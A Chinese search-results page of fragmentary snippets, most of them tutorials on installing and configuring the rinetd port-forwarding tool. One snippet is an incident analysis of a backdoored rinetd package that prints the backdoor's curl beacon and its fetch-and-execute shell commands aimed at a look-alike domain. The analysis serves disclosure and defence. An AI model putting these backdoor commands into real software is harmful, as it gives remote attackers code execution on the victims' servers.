官网:http://www.boutell.com/rinetd/ 下载地址:http://www.boutell.com/rinetd/http/rinetd.tar.gz 编译安装: 对于...Windows,包rinetd.tar.gz已包含了编译好的可执行程序文件rinetd.exe,也可以使用VC(如VC6.0)去重新编译。...对于Linux,只需要将包rinetd.tar.gz解压,然后执行make命令即可,它的Makefile文件其实十二分地简单(也就2个源码文件): CFLAGS=-DLINUX -g rinetd...: rinetd.o match.o gcc rinetd.o match.o -o rinetd install: rinetd install -m 700...rinetd /usr/sbin install -m 644 rinetd.8 /usr/man/man8 执行make install即安装好,从Makefile即可看出,
第一步:下载安装包 wget http://www.boutell.com/rinetd/http/rinetd.tar.gz 第二步解压安装包 tar -zxvf rinetd.tar.gz 第三步...进入 rinetd修改 rinetd.c文件 bindPort >= 65536 变个更为 bindPort >= 65535 connectPort >= 65536...>= 65535 原因在与65536是最大值,导致安装错误 第四步 创建/usr/man路径 第五步 安装 make && make install 第六步 kill进程 pkill rinetd...第七步 创建/etc/rinetd.conf 文件 # 192.168.2.* # deny 192.168.1.* # bindadress bindport connectaddress connectport...0.0.0.0 1750 ******* 3306 #logfile /var/log/rinetd.log 第八步 start rinetd -c /etc/rinetd.conf 发布者
Rinetd是单一过程的服务器,它处理任何数量的连接到在配置文件etc/rinetd中指定的地址/端口对。...安装过程如下: 安装Rinetd wget http://www.boutell.com/rinetd/http/rinetd.tar.gz tar -zxvf rinetd.tar.gz...-C /usr/src cd /usr/src/rinetd sed -i 's/65536/65535/g' rinetd.c (修改端口范围,否则会报错) mkdir /usr/man...end 添加开机自启动 echo rinetd >>/etc/rc.local rinetd启动后,就已经可以通过云服务器的3306端口连接到处于内网模式的xxx rds数据库了...重启服务 pkill rinetd rinetd 使用mysql客户端进行测试。
下载wget http://www.boutell.com/rinetd/http/rinetd.tar.gz [root@DBA128 ~]tar -xvf rinetd.tar.gz [root@DBA128...~]# cd rinetd [root@DBA128 rinetd]# 查看安装文档README root@DBA128 rinetd]# more README rinetd version 0.62...[root@DBA128 rinetd]# [root@DBA128 rinetd]# make [root@DBA128 rinetd]# make install install -m 700 rinetd...[root@DBA128 rinetd]# /usr/sbin/rinetd -c /etc/rinetd.conf [root@DBA128 rinetd]# netstat -an | grep...]# more /etc/rinetd.conf 可以添加到开机启动 [root@DBA128 rinetd]# vim /etc/rc.d/rc.local /usr/sbin/rinetd -c /
但是如果要应用在不通外网的情况下访问第三方接口的去获取一些数据,那么就需要借助rinetd工具。...rinetd工具可以做端口转发,也就是说我可以将获取数据的接口的url做重定向到跳板机上,再由跳板机去获取数据返回给应用程序 编译安装: wget http://www.boutell.com/rinetd.../http/rinetd.tar.gz -P /usr/local tar -zxvf rinetd.tar.gz make && make install 编辑配置 vi /etc/rinetd.conf...##关闭进程 rinetd -c /etc/rinetd.conf ##启动转发 把这条命令加到/etc/rc.local里面就可以开机自动运行 这里还需要注意有时候会遇到端口转发之后访问对应的ip...这个时候我们可以手动更改解析,例如www.baidu.com 我可以指定到rinetd所在的主机上,这样就不会出现403错误了。
[喵咪Liunx(3)]端口转发工具rinetd 前言 今天笔者为大家带来了另外一款非常优秀的Liunx工具,这个工具有什么用呢?...,后来就有了rinetd这个快速端口转发工具的诞生,我们来了解怎么使用rinetd来配置一个端口转发....下载软件: wget http://www.boutell.com/rinetd/http/rinetd.tar.gz 安装软件: tar xzvf rinetd.tar.gz cd rinetd make...: rinetd -c /etc/rinetd.conf 在启动时候如果你的80端口被占用会有报错信息 查看转发规则是否成功 : netstat -tanulp|grep rinetd 3....总结 我们一同了解了关于端口映射,端口转发,反向代理之前的区别,并且使用rinetd快速设置端口转发规则,在后面的某些特定场景合理的使用以上技术可以解决很多特定问题,也希望对能够有帮助!
在此分享另一个TCP/UDP端口转发工具rinetd,rinetd体积小巧,配置也很简单。...https://github.com/samhocevar/rinetd/releases/download/v0.70/rinetd-0.70.tar.gz #解压 tar -zxvf rinetd...设置TCP端口转发 #新建rinetd配置文件 vi /etc/rinetd.conf #填写如下内容 0.0.0.0 2018 103.74.192.160 2019 #启动rinetd rinetd...#启动rinetd systemctl start rinetd #设置开机启动 systemctl enable rinetd #停止rinetd systemctl stop rinetd #重启...systemctl restart rinetd rinetd的一些问题 rinetd支持转发到域名,rinetd会提前解析域名,并将解析出的IP缓存到内存中,如果您的域名解析IP发生了变化必须重启rinetd
Rinetd是单一过程的服务器,它处理任何数量的连接到在配置文件etc/rinetd中指定的地址/端口对。...尽管rinetd使用非闭锁I/O运行作为一个单一过程,它可能重定向很多连接而不对这台机器增加额外的负担。 二、安装Rinetd 环境说明: ?...安装 wget http://www.boutell.com/rinetd/http/rinetd.tar.gz tar -zxvf rinetd.tar.gz -C /usr/src cd /usr/...src/rinetd sed -i 's/65536/65535/g' rinetd.c (修改端口范围,否则会报错) mkdir /usr/man make && make install 创建配置文件...重启服务 pkill rinetd rinetd 测试连接 使用mysql客户端进行测试。
Linux下简单好用的工具rinetd,实现端口映射/转发/重定向 官网地址http://www.boutell.com/rinetd 软件下载 wget http://www.boutell.com/...rinetd/http/rinetd.tar.gz 解压安装 tar zxvf rinetd.tar.gz make make install 编辑配置 vi /etc/rinetd.conf 0.0.0.0...Source Address] [Source Port] [Destination Address] [Destination Port] 源地址 源端口 目的地址 目的端口 启动程序 pkill rinetd...##关闭进程 rinetd -c /etc/rinetd.conf ##启动转发 把这条命令加到/etc/rc.local里面就可以开机自动运行 查看状态 netstat -antup 需要注意...1.rinetd.conf中绑定的本机端口必须没有被其它程序占用 2.运行rinetd的系统防火墙应该打开绑定的本机端口 例如: -A RH-Firewall-1-INPUT -m state --state
[root@PortForward02 rinetd] # make cc -DLINUX -g -c -o rinetd.o rinetd.c rinetd.c:176:...match.o -o rinetd [root@PortForward02 rinetd] # make install install -m 700 rinetd /usr/sbin...cc -DLINUX -g -c -o rinetd.o rinetd.c rinetd.c:176: warning: conflicting types for built...] # /usr/sbin/rinetd 或者 [root@localhost rinetd] # rinetd -c /etc/rinetd.conf [root@localhost...-9 rinetd [root@localhost rinetd] # netstat -antulp|grep -i rinetd [root@localhost rinetd] #
环境:debian apt-get install rinetd vi /etc/rinetd.conf 内容: 0.0.0.0 8080 172.19.94.3 8080 0.0.0.0 2222...192.168.0.103 3389 allow *.*.*.* logfile /var/log/rinetd.log 脚本启动 /etc/init.d/rinetd start /usr/sbin.../rinetd -c /etc/rinetd.conf 脚本关闭 /etc/init.d/rinetd stop pkill rinetd 最后: rinetd -c /etc/rinetd.conf...rinetd -c rinetd.conf bbr:此bbr改自94ish大佬 git被Q 换了fastgit的https反代 其余不变 wget -N --no-check-certificate
烧死了不少脑细胞.有时候遇到个别的系统环境还总是遇到莫名其妙的问题.今天知道了另外一个简单易用的工具:xinetd 安装步骤: xinet安装步骤 wget https://boutell.com/rinetd.../http/rinetd.tar.gz tar -xvf rinetd.tar.gz cd rinetd sed -i 's/65536/65535/g' rinetd.c mkdir /usr/man...编辑端口转发配置文件:vi /etc/rinetd.conf 输入:0.0.0.0 80 127.0.0.1 8090 配置文件格式很简单:[Source Address] [Source Port...启动和关闭转发程序: 启动:rinetd -c /etc/rinetd.conf 关闭:killall rinetd 检验端口转发程序是否正确运行:netstat -tanulp|grep rinetd
0x02 事件分析 2019年12月26日,某组织注册的http://www.rinetd.com/域名上线,以rinetd工具的‘官方’站点的身份,对外提供附带后门的rinetd源码压缩包下载。...t=%s",fn,sys); 捕捉到的请求: curl -fs http://update.rinetd.com/update.php?...t=xxxxxxx 后门下发指令执行: // 接受到来自http://www.rinetd.com的命令后,执行 sprintf(url,"/bin/sh -c \"$(curl -fsSL %s)\.../update && \curl -sfo update http://www.rinetd.com/xxxxxxx && \chmod 777 ./update && \....上面的rinetd.c的check_update()函数的代码风格与此类似。
3389 -j SNAT --to-source 10.0.0.254 #外网接口地址114.114.114.114 内网接口地址10.0.0.254,内部服务器10.0.1.123转发端口3389 rinetd...编译安装 wget http://www.boutell.com/rinetd/http/rinetd.tar.gz tar xzvf rinetd.tar.gz cd rinetd mkdir -p.../usr/man/man8 make &&make install 配置文件 cat /etc/rinetd.conf 0.0.0.0 9001 192.168.1.1 3306...0.0.0.0 9002 192.168.1.2 80 #绑定的地址、绑定的端口、转发的地址 、转发的端口 启动rinetd服务 rinetd -c /etc/rinetd.conf SSH ssh转发命令
Rinetd是单一过程的服务器,它处理任何数量的连接到在配置文件etc/rinetd中指定的地址/端口对。...Rinetd官网 https://boutell.com/rinetd/ 安装 cat >> rinetd-installer.sh <<'EOF' #!.../bin/bash wget http://www.boutell.com/rinetd/http/rinetd.tar.gz tar zxvf rinetd.tar.gz cd rinetd mkdir.../bin/bash EXEC=/usr/sbin/rinetd CONF=/etc/rinetd.conf PID_FILE=/var/run/rinetd.pid NAME=Rinetd DESC=...start 开机启动 在/etc/rc.local 文件中,添加/usr/sbin/rinetd 或者 /usr/sbin/rinetd -c /etc/rinetd.conf 启动命令即可。
/bash/tcp_nanqinlang-rinetd-debian+ubuntu.sh bash tcp_nanqinlang-rinetd-debian+ubuntu.sh 12 wget https.../nanqinlang-tcp/tcp_nanqinlang/master/Rinetd/bash/tcp_nanqinlang-rinetd-debian+ubuntu-multiNIC.shbash.../nanqinlang-tcp/tcp_nanqinlang/master/Rinetd/bash/tcp_nanqinlang-rinetd-centos.sh bash tcp_nanqinlang-rinetd-centos.sh.../tcp_nanqinlang/master/Rinetd/bash/tcp_nanqinlang-rinetd-centos.shbash tcp_nanqinlang-rinetd-centos.sh...检查 rinetd-bbr 运行状态 此命令用于检查 rinetd-bbr 运行与否,可通过返回的提示判断。
这里是 tcp_nanqinlang 的 lkl-rinetd 分支。.../releases/download/1.1.0/tcp_nanqinlang-rinetd-debianorubuntu.sh bash tcp_nanqinlang-rinetd-debianorubuntu.sh.../tcp-nanqinlang/lkl-rinetd/releases/download/1.1.0/tcp_nanqinlang-rinetd-centos-multiNIC.sh bash tcp_nanqinlang-rinetd-centos-multiNIC.sh...使用说明 以下进行脚本使用说明: 安装 lkl-rinetd 此命令用于安装 lkl-rinetd。...检查 lkl-rinetd 运行状态 此命令用于检查 lkl-rinetd 运行与否,可通过返回的提示判断。
安装rinetd服务 http://www.boutell.com/rinetd/ 配置转发规则 vi /etc/rinetd.conf 规则内容为: 本机IP地址 本机端口A...目标IP地址 目标端口 规则生效 pkill rinetd rinetd -c /etc/rinetd.conf 查看地址映射 netstat -antup 接下来,在
由于线上环境,和测试环境不是互通,需要经过2层网路转发才能抵达测试服务器,此处借助 rinetd进行网路转发. 1、中转服务器1:10.1.2.41安装 rinetd [root@vm-phx-k8s-master.../rinetd -c /etc/rinetd.conf 2、中转服务器2:192.168.77.84 安装 rinetd [root@vm-l2f-umicen-app-7784 ~]# cat /etc.../rinetd -c /etc/rinetd.conf *3 rinetd 重启动脚本 #!.../bin/bash source /etc/profile kill -9 $(ps -ef |grep "/root/rinetd/rinetd" |grep -v "grep" |grep -...v bash|awk '{print $2}') ps aux |grep "/root/rinetd/rinetd" sleep 1 /root/rinetd/rinetd -c /etc/rinetd.conf
rinetd 0.62 注意rinetd只支持TCP不支持UDP转发,需要udp的可以不用往下看了 1.下载官方rinetd源码编译安装(boutell.com 已不再是rinetd的官网,作者已把代码开源到...-m 644 rinetd.8 /usr/man/man8 [root@localhost rinetd]# [root@localhost rinetd]# /usr/sbin/rinetd -v...rinetd 0.62 #导出手册 man rinetd > rinetd.txt 3.注册成系统服务 #创建rinetd相关文件夹 mkdir /usr/local/rinetd /usr/local.../rinetd/sbin /usr/local/rinetd/etc/ /usr/local/rinetd/log #移动可执行文件 mv /usr/sbin/rinetd /usr/local/rinetd...rinetd systemctl start rinetd.service //启动rinetd systemctl stop rinetd.service //关闭rinetd
领取专属 10元无门槛券
手把手带您无忧上云